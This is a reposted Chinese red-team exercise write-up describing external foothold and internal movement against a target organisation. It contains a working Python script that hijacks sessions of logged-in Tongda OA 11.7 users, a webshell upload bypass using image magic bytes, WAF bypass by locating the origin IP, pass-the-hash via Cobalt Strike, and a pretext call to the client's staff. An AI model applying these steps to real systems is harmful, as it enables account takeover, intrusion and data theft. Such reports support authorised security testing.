close

本文來自「白帽子社區」

作者：BaiKer

記錄hw中的一次打點經歷，感覺拿的挺偏的，也算是靠運氣

不過也算是一種思路吧，給大家分享一下

01

指紋探測

通過指紋探測工具對目標進行批量掃描

然後羅列出重點資產，優先測試

Ehole.exe-lfile.txt-jsonout.json

02

登錄後台

通過指紋探測，發現某一個網站使用了通達OA

然後對該網站檢測所有的 n day

然後發現該網站存在 通達OA v11.7在線用戶登錄漏洞1 Ehole.exe -l file.txt -json out.json這個漏洞吧，雖然是個漏洞，但是一直沒有多大用處 因為利用條件很難，需要你不斷的監控，正好目標用戶處於登錄狀態才可以 不過既然發現了，那就先掛在服務器上用腳本跑着，萬一出結果呢

poc如下：

import requestsimport sysimport reimport timedef poc(url,uid):url = f'{url}/mobile/auth_mobi.php?isAvatar=1&uid={uid}&P_VER=0'while True:res = requests.get(url)if res.status_code == 200:if res.text == '':cookies = re.findall(r'PHPSESSID=(.*?);', str(res.headers))print('[+]目標在線,PHPSESSID=' + cookies[0])breakif 'RELOGIN' in res.text:print('[+]目標用戶不在線')time.sleep(2)def main(argv):print('------------------------------------------')print('[+]適用版本：通達OA 11.7 ')print('[+]使用格式: python3 poc.py url uid')print('------------------------------------------')poc(argv[0],argv[1])if __name__ == '__main__':main(sys.argv[1:])

註：圖是後面用另一個腳本臨時補的，之前寫的這個不知道放哪裡了

後來想着一直等着不是這麼回事，中間也沒發現其他的入口，然後發現目標網站是我們客戶的網 站，這不是巧了

找了隊友說了一下想法，商量了一個理由，然後聯繫那邊的運維同學，找客戶相關的人聯繫了一下 （其實那個號就在他手裡，裝一下）

啪！上線！

03

WAF bypass

上面這個漏洞吧，因為需要訪問特定的url路徑，然後就被雲WAF攔截了

當天的網站關掉了，隨便找了個截圖的... 這裡主要是通過真實IP去繞

這裡說了一下思路，一個是通過域名或者被測單位名稱或者網站標題放到 fofa 去搜

還一個是查找子域，然後通過子域裡在省內IP的，去掃描C段

然後修改hosts刷新DNS解析去判斷真實IP

日常中第一個方法就可以了，如果沒有就直接放棄，或者使用其他方式繞WAF

第二種是個笨辦法，可以用go寫個工具去實現，但是量可能會比較大

04

文件上傳

進去後台大概過了一下，好像沒什麼東西 大概有幾萬的敏感數據，身份證信息，電話號什麼的，報了一個信息泄露，因為量大，

有額外的 分，美滋滋，繼續測試 抓了幾個包，測了一下，沒有SQL注入，放棄了

然後找到了一個文件上傳的地方，不過被後端攔掉了

後端檢測上傳文件的頭部是不是圖片格式

大概繞過原理如下

要繞過jpg文件幻數檢測就要在文件開頭寫上下圖的值：

Value = FF D8 FF E0 00 10 4A 46 49 46

要繞過gif 文件幻數檢測就要在文件開頭寫上下圖的值 Value = 47 49 46 38 39 61

要繞過png 文件幻數檢測就要在文件開頭寫上下面的值 Value = 89 50 4E 47

然後在文件頭部後面加上自己的一句話木馬代碼就行了 直接簡單一點

copy image.jpg/b+test.php/a test.jpg
05

哈希傳遞

內網不麻煩，就是耗時間一個個去磨

這次環境沒有域，全是工作組，也挺無聊的

說一個最常見的方式吧 通過shell上線CS後

先是掃描內網中存活的IP,直接是使用CS也好，利用原生命令也好，代理流量通過各種工具掃描也好，目的就是一個，探測更多的資產，拓展C段和其他IP段

這裡通過CS掃描了C段，發現一百多個存活的主機 然後通過哈希傳遞的方式，利用本地Hash去撞其他主機 因為內網中主機使用同一個密碼的可能性很大

而且不得不說，利用CS進行哈希傳遞太簡單了，不用那麼麻煩

大概下圖這樣子，一百多個主機看運氣能拿十幾個二十幾個吧，然後弱口令也可以試一試

然後就和外網打點那樣子，掃一掃端口，找漏洞拿shell,然後再抓hash去撞 Linux的話，主要是通過SSH。

不過特別麻煩，而且基本上每台主機都需要提權


加個好友

歡迎在看丨留言丨分享至朋友圈三連


好文推薦

2022HW必備|最全應急響應思維導圖

乾貨|後滲透及內網初體驗的總結

發現內網存活主機的各種姿勢

實戰|某次攻防演練中的分析溯源

實戰|後台getshell+提權一把梭

紅隊快速打點工具

實戰|記一次艱難的外網打點

實戰|記一次文件上傳繞過

常見漏洞安全攻防知識庫

紅隊信息搜集工具（附下載地址）

實戰—某醫院管理系統Getshell

CobaltStrike上線Linux

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()